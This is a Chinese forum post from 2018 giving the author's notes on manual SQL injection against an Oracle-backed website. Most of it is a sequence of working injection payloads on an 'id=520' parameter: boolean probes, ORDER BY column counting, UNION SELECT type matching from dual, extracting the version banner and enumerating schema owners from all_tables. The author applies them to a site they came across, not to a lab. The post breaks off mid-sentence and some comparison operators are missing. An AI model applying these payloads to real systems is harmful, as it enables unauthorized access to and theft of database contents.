xywuyiba8 发表于 2018-9-23 11:48:13

oracle注入整理(一)

网上关于ORACLE注入的文章也不少,自己碰到一个站,闲着没事,自己也来整理一下,当做复习,只涉及猜解数据,而且能ORDER BY的情况下。  开始还是单引号,报错
  id=520 and 1=1 正常
  id=520 and 1=2 出错
  如果报错时不显示是ORA的错误,不确定是否是ORACLE的数据库。
  id=520 and ''||'1'='1' 返回正常
  id=520 and ''||'2'='1' 返回无记录
  那么基本上确定是ORACLE数据库,数字型注入
  接着
  id=520 order by 3 --正常
  一直到
  id=520 order by 18 --正常
  说明有18个字段,下面进入UNION查询。
  id=520 union 1=2 select NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from dual--
  用7个NULL来匹配对应的字段不会出现字段类型不一的情况,与mysql不同,后面的select语句必须加一个存在的表,这里是 dual。
  id=520 union 1=2 select 1,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from dual--正常,说明第一个字段是数字型,接着
  id=520 union 1=2 select 1,2,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from dual--
  错误,第二个字段不是数字型
  id=520 union 1=2 select 1,'2',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from dual--
  正常,第二个字段是字符型
  如果既不是数字也不是字符型,我们就用NULL代替,继续猜下一字段,
  id=520 and 1=2 union select 1, '2 ', '3 ', '4', '5','6',7,8,9, '10',NULL,NULL,NULL,14,'15','16','17','18' from dual--
  这个时候正常了,而且在页面的对应的位置显示对应的数字,也就是我们要找的字段。
  id=520 and 1=2 union select 1, '2 ', '3 ', '4', (select banner from sys.v_$version where rownum=1),'6',7,8,9, '10',NULL,NULL,NULL,14,'15','16','17','18' from dual--
  查询数据的版本,把结果显示在5对应的字段上。
  继续提交
  (select owner from all_tables where owner'SYS' and rownum=1)
  得到一个库名字AAAA
  (select owner from all_tables where owner'SYS' and owner'AAAA' and rownum=1)
  得到第二库名字BBBB
  以此类推
  如果过滤了“>”、“
页: [1]
查看完整版本: oracle注入整理(一)